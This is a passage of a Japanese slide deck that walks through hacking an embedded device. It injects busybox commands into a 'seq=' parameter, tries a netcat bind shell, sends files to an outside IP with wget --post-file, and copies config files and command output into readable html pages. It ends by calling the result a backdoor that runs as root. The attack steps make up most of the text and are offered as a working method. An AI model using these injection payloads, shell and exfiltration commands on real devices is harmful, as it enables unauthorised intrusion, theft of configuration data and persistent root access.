Analysis21 98 busyboxはLinuxコマンドを詰め合わせたも ので、組み込み機器などで利用されている ようです。 1| echo 'seq='+`/bin/busybox
ls` 使い方は以下のように、実行したいコマン ドを引数として渡すと実行される。
99.
Analysis22 99 ncのlinkがないだけかもしれないので、再 度ncを用いたshellの取得を試してみた。 1| echo 'seq='+`/bin/busybox
nc –c /bin/sh –l –p 8888` 両方ともダメだった。lnで/bin/ncでも試し てみたがやはりだめだった。 1| echo 'seq='+`/bin/busybox nc IPアドレス 8888`
100.
Analysis23 100 設定ファイルなどを簡単にゲットする方法 を考えてみた。 受け側でPOSTデータを出力すれば、簡単に ファイルをゲットできるが、「--post-file」 などのオプションを認識しないため、ゲッ トできず。 1| echo ‘seq='+`wget
http://IPアドレス --post-file=ファイル`
101.
Analysis24 最初はこんな感じでやり始めた。 上記のパターンで確認し、1行が58byte以上 の場合、cutした。 1| echo 'seq='+`cat
ファイル | tail –n X` 101
102.
Analysis25 あまりにもめんどくさいので、ほかの方法 を考えた。 拡張子がhtmlであればアクセスできるので、 簡単に設定を参照可能。 1| echo 'seq='+`cp
ファイル test.html` 102
103.
Analysis26 あっ!!!! 103
104.
Analysis27 コマンドの実行結果をhtmlファイルにリダ イレクションすれば、58byteの制約なんて 関係ないじゃんと気づく。 104
105.
Independent1 入力されたコマンドをセットして、結果を 特定のhtmlに出力する。そのhtmlを見れば コマンド結果がわかる。 105
106.
Independent5 コマンドを入力してEnterすると実行される。 これでroot権限で稼働するバックドアが完 成。 106
107.
さいごに 107 No.1にならなくてもいい rootはもともと特別なOnly one
Télécharger maintenant